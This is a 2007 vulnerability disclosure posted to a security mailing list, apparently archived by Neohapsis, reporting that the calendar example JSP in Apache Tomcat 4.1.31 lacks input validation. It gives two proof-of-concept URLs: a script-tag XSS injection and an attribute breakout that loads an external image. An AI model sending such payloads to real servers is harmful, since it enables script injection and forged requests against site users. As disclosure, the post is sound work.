OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability

tusharvartakhotmail.com
Date: Mon Sep 03 2007 - 22:00:44 CDT


Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery.

XSS
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3ealert("XSS!")%3c%2fscript%3e

XSRF
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http://xsrfxonfirmed.com/testimage.gif">

-

Tushar Vartak